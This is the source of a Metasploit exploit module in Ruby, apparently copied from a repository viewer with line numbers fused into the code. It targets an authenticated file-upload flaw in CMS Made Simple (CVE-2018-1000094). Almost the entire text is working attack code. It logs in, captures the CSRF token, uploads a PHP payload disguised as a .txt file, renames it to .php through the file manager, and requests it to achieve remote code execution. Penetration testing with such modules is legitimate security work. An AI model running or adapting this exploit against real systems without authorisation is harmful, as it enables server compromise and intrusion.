Path: blob/master/modules/exploits/multi/http/cmsms_upload_rename_rce.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy',17'Description' => %q{18CMS Made Simple allows an authenticated administrator to upload a file19and rename it to have a .php extension. The file can then be executed20by opening the URL of the file in the /uploads/ directory.2122This module has been successfully tested on CMS Made Simple versions232.2.5 and 2.2.7.24},25'Author' => [26'Mustafa Hasen', # Vulnerability discovery and EDB PoC27'Jacob Robles' # Metasploit Module28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2018-1000094' ],32[ 'CWE', '434' ],33[ 'EDB', '44976' ],34[ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]35],36'Privileged' => false,37'Platform' => [ 'php' ],38'Arch' => ARCH_PHP,39'Targets' => [40[ 'Universal', {} ],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2018-07-03',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),55OptString.new('USERNAME', [ true, "Username to authenticate with", '']),56OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])57]58)59end6061def check62res = send_request_cgi({63'uri' => normalize_uri(target_uri.path),64'method' => 'GET'65})6667unless res68vprint_error 'Connection failed'69return CheckCode::Unknown70end7172unless res.body =~ /CMS Made Simple/i73return CheckCode::Safe74end7576if res.body =~ %r{CMS Made Simple</a> version (\d+\.\d+\.\d+)}i77version = Rex::Version.new($1)78vprint_status("#{peer} - CMS Made Simple Version: #{version}")7980if version == Rex::Version.new('2.2.5')81return CheckCode::Appears82end83end8485CheckCode::Detected86end8788def exploit89res = send_request_cgi({90'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),91'method' => 'POST',92'vars_post' => {93'username' => datastore['USERNAME'],94'password' => datastore['PASSWORD'],95'loginsubmit' => 'Submit'96}97})98unless res99fail_with(Failure::NotFound, 'A response was not received from the remote host')100end101102unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/103fail_with(Failure::NoAccess, 'Authentication was unsuccessful')104end105106vprint_good("#{peer} - Authentication successful")107csrf_name = $1108csrf_val = $2109110csrf = { csrf_name => csrf_val }111cookies = res.get_cookies112filename = rand_text_alpha(8..12)113114# Generate form data115message = Rex::MIME::Message.new116message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")117message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')118message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')119message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")120data = message.to_s121122res = send_request_cgi({123'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),124'method' => 'POST',125'data' => data,126'ctype' => "multipart/form-data; boundary=#{message.bound}",127'cookie' => cookies128})129130unless res && res.code == 200131fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')132end133vprint_good("#{peer} - File uploaded #{filename}.txt")134135fileb64 = Rex::Text.encode_base64("#{filename}.txt")136data = {137'mact' => 'FileManager,m1_,fileaction,0',138"m1_fileactioncopy" => "",139'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",140'm1_destdir' => '/',141'm1_destname' => "#{filename}.php",142'm1_path' => '/uploads',143'm1_submit' => 'Copy',144csrf_name => csrf_val145}146147res = send_request_cgi({148'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),149'method' => 'POST',150'cookie' => cookies,151'vars_post' => data152})153154unless res155fail_with(Failure::NotFound, 'A response was not received from the remote host')156end157158unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')159fail_with(Failure::UnexpectedReply, 'Failed to rename the file')160end161vprint_good("#{peer} - File renamed #{filename}.php")162163register_files_for_cleanup("#{filename}.txt", "#{filename}.php")164165res = send_request_cgi({166'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),167'method' => 'GET',168'cookie' => cookies169})170end171end172173174